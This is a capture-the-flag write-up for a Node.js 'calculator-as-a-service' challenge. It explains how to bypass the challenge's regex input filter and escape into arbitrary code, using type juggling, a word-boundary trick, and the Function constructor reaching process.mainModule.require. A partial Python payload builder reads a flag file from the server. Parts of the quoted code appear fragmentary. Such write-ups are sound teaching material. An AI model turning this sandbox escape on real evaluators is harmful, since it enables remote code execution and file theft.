Original description:

Clam’s creative calculator causes coders’ chronic craziness. Find his calculator-as-a-service over tcp at nc misc.2020.chall.actf.co 20201 and the flag at /ctf/flag.txt. >Remember, the “b” in regex stands for “bugless.” Source.

Author: aplet123 Hint: The calculator is merely a prototype.


You are only allowed to use calculation-signs, Math, Math.* and numbers in an interpreted nodejs/javascript interpreter made for calculations.

Original source code

const readline = require("readline");
const util = require("util");
const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
let reg = /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g
console.log("Welcome to my Calculator-as-a-Service (CaaS)!");
console.log("Our advanced js-based calculator allows for advanced boolean-based operations!");
console.log("Try calculating '(2 < 3) ? 5 : 6' (without the quotes of course)!");
console.log("However, if we don't trust you then we'll have to filter your input a bit.");
function question(q) {
    return new Promise((res, rej) => rl.question(q, res));
// don't want you modifying the Math object

const user = {};
async function main() {
    const name = await question("What's your name? ");
    if (name.length > 10) {
        console.log("Your name is too long, I can't remember that!");
    user.name = name;
    if (user.name == "such_a_trusted_user_wow") {
        user.trusted = true;
    user.queries = 0;
    console.log(`Hello ${name}!`);
    while (user.queries < 3) {
        user.queries ++;
        let prompt = await question("> ");
        if (prompt.length > 200) {
            console.log("That's way too long for me!");
        if (!user.trusted) {
            prompt = (prompt.match(reg) || []).join``;
        try {
        } catch (err) {
            console.log("There has been an error! Oh noes!");
    console.log("I'm afraid you've run out of queries.");
setTimeout(function() {
    console.log("Time's up!");
}, 60000);

Challenge solution

The calculator regex /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g only allows users to use calls to Math, Math.anything, common math symbols (()+-*/&|^%<>=,?:) as well as numbers like 1, 1.1, 1.1e1.

There are four tricks:

  • Common type-juggling, like adding an object to a number creates a string.
  • The \b boundary-regex can be tricked by overlapping meta-characters like MathÐ1.
  • The => can be used for functions, and due to scoping, inside a function “Math” is a regular variable. With Math=Math.x and chaining expressions with commas, we can handle ourselfs through the constructors and prototypes of String and Number.
  • With Function, we can evaluate a String and still use require from the process.mainModule. eval and "require"() do not allow this.

In the end we simply want to execute the code require('fs').readFileSync('ctf/flag.txt') but the require-function isn’t easily available in eval/function-scopes, so the first of the 2 commands is to get it into a reachable scope.

Code attack-builder

import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
#print(decode([99,116,102,47,102,108,97,103,46,116,120,116])) # example decode

# build a lambda-function that takes a string and uses it under the variablename "Math" to be allowed to call it, as the regex allows Math.x
# then get the string-constructor and call fromCharCode to get a string from numbers. 
# then we use the function-constructor to create a function that returns the process.mainModule
# and save it to String.x
			m0.fromCharCode({encode("return process.mainModule")})

# now we reuse String.x = mainModule
# then we call process.mainModule.require('fs').readFileSync('ctf/flag.txt')

# remove whitespaces, replace variables with other names
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
b=re.sub(r"[\s\[\]]", "", b).replace("m0","Math").replace("m1", "MathÐ1")
print("Lengths (must be <200)", len(a), len(b))

Final attack commands (generated, compressed javascript)

Lengths (must be <200) 180 196